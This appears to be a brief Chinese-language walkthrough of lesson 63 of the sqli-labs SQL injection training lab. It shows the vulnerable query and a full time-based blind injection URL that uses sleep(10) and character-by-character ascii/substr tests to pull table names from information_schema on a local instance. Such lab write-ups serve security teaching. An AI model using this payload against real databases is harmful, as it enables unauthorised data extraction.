Sqli-labs less 63

Less-63

和less62一致，我们只需要看到sql语句上

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

 

因此构造payload：

http://127.0.0.1/sqli-labs/Less-63/?id=1%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))--+

 

 

当正确的时候时间很短，当错误的时候时间大于10秒
